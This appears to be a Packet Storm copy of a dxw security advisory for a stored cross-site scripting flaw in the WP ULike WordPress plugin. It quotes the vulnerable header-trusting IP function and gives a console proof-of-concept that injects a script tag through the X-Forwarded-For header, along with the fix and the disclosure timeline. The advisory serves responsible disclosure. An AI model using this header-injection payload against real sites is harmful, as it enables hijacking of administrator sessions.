Twenty Year Anniversary

WordPress WP ULike 2.8.1 / 3.1 Cross Site Scripting

WordPress WP ULike 2.8.1 / 3.1 Cross Site Scripting
Posted May 15, 2018
Authored by Tom Adams

WordPress WP ULike plugin versions 2.8.1 and 3.1 suffer from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | 5239bb9f4e58dbc13acd429576447707

WordPress WP ULike 2.8.1 / 3.1 Cross Site Scripting

Change Mirror Download
Details
================
Software: WP ULike
Version: 2.8.1,3.1
Homepage: https://wordpress.org/plugins/wp-ulike/
Advisory report: https://advisories.dxw.com/advisories/stored-xss-wp-ulike/
CVE: Awaiting assignment
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N)

Description
================
Stored XSS in WP ULike allows unauthorised users to do almost anything an admin can

Vulnerability
================
The pluginas default configuration (after pressing aSave Changesa on the settings page) allows unauthenticated users to alikea posts. It fetches the useras IP like this:
function wp_ulike_get_real_ip() {
if (getenv(\'HTTP_CLIENT_IP\')) {
$ip = getenv(\'HTTP_CLIENT_IP\');
} elseif (getenv(\'HTTP_X_FORWARDED_FOR\')) {
$ip = getenv(\'HTTP_X_FORWARDED_FOR\');
} elseif (getenv(\'HTTP_X_FORWARDED\')) {
$ip = getenv(\'HTTP_X_FORWARDED\');
} elseif (getenv(\'HTTP_FORWARDED_FOR\')) {
$ip = getenv(\'HTTP_FORWARDED_FOR\');
} elseif (getenv(\'HTTP_FORWARDED\')) {
$ip = getenv(\'HTTP_FORWARDED\');
} else {
$ip = $_SERVER[\'REMOTE_ADDR\'];
}

return $ip;
}
This will be incorrect in many situations. The header (which could be an IP address, or it could be an arbitrary string provided by the user) is stored in the database. Then itas displayed to the admin without being escaped.

Proof of concept
================

Enable the plugin
Visit /wp-admin/admin.php?page=wp-ulike-settings and press Save Settings
Sign out
Visit a post displaying a like button
Open the console
Paste and execute this: var d=document.querySelector(\'.wpulike-default a\').dataset;jQuery.ajax(\'/wp-admin/admin-ajax.php\', {method: \'POST\', headers: {\'X-Forwarded-For\': \'<script>alert(1)</script>\'},data: {action: \'wp_ulike_process\', id: d.ulikeId, status: d.ulikeStatus, type: d.ulikeType, nonce: d.ulikeNonce}})
Sign in
Visit /wp-admin/admin.php?page=wp-ulike-post-logs


Mitigations
================
Upgrade to version 3.2 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2017-10-18: Discovered
2018-04-16: Reported to plugin author via contact form
2018-04-23: Vendor reported fixed in 3.2 (first reply)



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.




Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    26 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    2 Files
  • 7
    Oct 7th
    3 Files
  • 8
    Oct 8th
    23 Files
  • 9
    Oct 9th
    16 Files
  • 10
    Oct 10th
    15 Files
  • 11
    Oct 11th
    19 Files
  • 12
    Oct 12th
    16 Files
  • 13
    Oct 13th
    2 Files
  • 14
    Oct 14th
    2 Files
  • 15
    Oct 15th
    15 Files
  • 16
    Oct 16th
    20 Files
  • 17
    Oct 17th
    19 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close